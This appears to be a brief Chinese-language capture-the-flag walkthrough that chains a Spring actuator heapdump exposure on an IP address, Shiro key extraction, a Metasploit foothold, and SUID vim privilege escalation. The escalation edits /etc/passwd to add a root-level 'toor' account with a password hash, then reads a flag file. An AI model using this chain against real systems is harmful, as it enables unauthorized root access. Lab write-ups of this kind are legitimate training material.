step1
fscan
[+] PocScan http://39.101.180.105:8080 poc-yaml-spring-actuator-heapdump-file
1.heapdump_tool 读取 shirokey, 然后msf上马。
- find / -perm -4000 -type f 2>/dev/null 发现vim.basic有suid权限。
/usr/bin/vim.basic /etc/passwd
直接添加 toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash
wq! 保存。
用toor 123 来登录得到root账户。
cat /root/flag/flag01.txt